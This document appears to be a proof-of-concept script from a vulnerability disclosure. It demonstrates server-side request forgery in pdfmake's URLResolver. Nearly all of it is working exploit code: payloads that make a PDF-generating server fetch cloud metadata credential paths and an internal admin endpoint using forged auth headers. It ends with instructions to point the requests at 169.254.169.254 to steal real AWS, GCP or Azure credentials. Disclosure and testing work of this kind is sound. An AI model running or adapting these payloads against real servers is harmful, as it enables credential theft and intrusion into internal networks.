README.md
Rendering markdown...
/**
* SSRF Attack Script for pdfmake
*
* Demonstrates Server-Side Request Forgery via docDefinition URLs
* Target: pdfmake URLResolver.js - zero URL validation
*/
const VULNERABLE_SERVER = 'http://127.0.0.1:3000';
const METADATA_SERVER = 'http://127.0.0.1:8888';
// Attack payloads
const attacks = [
{
name: 'AWS Metadata - Credential Theft',
description: 'Steal IAM role credentials from EC2 instance',
payload: {
content: [{ text: 'SSRF PoC', style: 'header' }],
styles: { header: { fontSize: 18 } },
images: {
// This URL will be fetched by the server!
stolen_creds: `${METADATA_SERVER}/latest/meta-data/iam/security-credentials/vulnerable-ec2-role`
}
}
},
{
name: 'AWS Metadata - Instance Discovery',
description: 'Enumerate instance metadata',
payload: {
content: ['Metadata Enumeration'],
images: {
instance_id: `${METADATA_SERVER}/latest/meta-data/instance-id`,
local_ip: `${METADATA_SERVER}/latest/meta-data/local-ipv4`,
public_ip: `${METADATA_SERVER}/latest/meta-data/public-ipv4`
}
}
},
{
name: 'Custom Headers - Auth Bypass',
description: 'SSRF with custom authentication headers',
payload: {
content: ['Auth Bypass Test'],
images: {
// pdfmake supports custom headers per URL!
internal_api: {
url: `${METADATA_SERVER}/internal/admin`,
headers: {
'X-Internal-Auth': 'trusted-service',
'Authorization': 'Bearer internal-token-12345'
}
}
}
}
}
];
// Execute attack
async function executeAttack(attack) {
console.log(`\n${'='.repeat(60)}`);
console.log(`ATTACK: ${attack.name}`);
console.log(`DESC: ${attack.description}`);
console.log('='.repeat(60));
console.log('\n[*] Payload:');
console.log(JSON.stringify(attack.payload, null, 2));
console.log('\n[*] Sending to vulnerable server...');
try {
const response = await fetch(`${VULNERABLE_SERVER}/api/generate-pdf`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(attack.payload)
});
const status = response.status;
console.log(`[*] Response status: ${status}`);
if (response.ok) {
console.log('[+] SUCCESS - PDF generated (SSRF triggered!)');
console.log('[+] Check the metadata server logs for proof of SSRF');
} else {
const error = await response.text();
console.log(`[-] Server error: ${error.substring(0, 200)}`);
console.log('[!] Note: SSRF may still have been triggered before error!');
}
} catch (error) {
console.log(`[-] Connection error: ${error.message}`);
console.log('[!] Is the vulnerable server running on port 3000?');
}
}
// Main
async function main() {
console.log(`
╔═══════════════════════════════════════════════════════════════╗
║ PDFMAKE SSRF VULNERABILITY - PROOF OF CONCEPT ║
╠═══════════════════════════════════════════════════════════════╣
║ Target: pdfmake URLResolver.js ║
║ Issue: Zero URL validation in fetch() ║
║ Impact: AWS metadata theft, internal network access ║
╚═══════════════════════════════════════════════════════════════╝
`);
console.log('[*] Prerequisites:');
console.log(' 1. Mock metadata server running on port 8888');
console.log(' 2. Vulnerable server running on port 3000');
console.log('');
// Run first attack (credential theft) as primary demo
await executeAttack(attacks[0]);
console.log(`\n${'='.repeat(60)}`);
console.log('VERIFICATION');
console.log('='.repeat(60));
console.log(`
If successful, you should see in the METADATA SERVER terminal:
[METADATA] >>> CREDENTIALS LEAKED! <<<
This proves the vulnerable server made an outbound request
to our controlled endpoint - a classic SSRF vulnerability.
In a real attack scenario:
- Replace ${METADATA_SERVER} with http://169.254.169.254
- Steal actual AWS/GCP/Azure credentials
- Access internal services, databases, admin panels
`);
}
main().catch(console.error);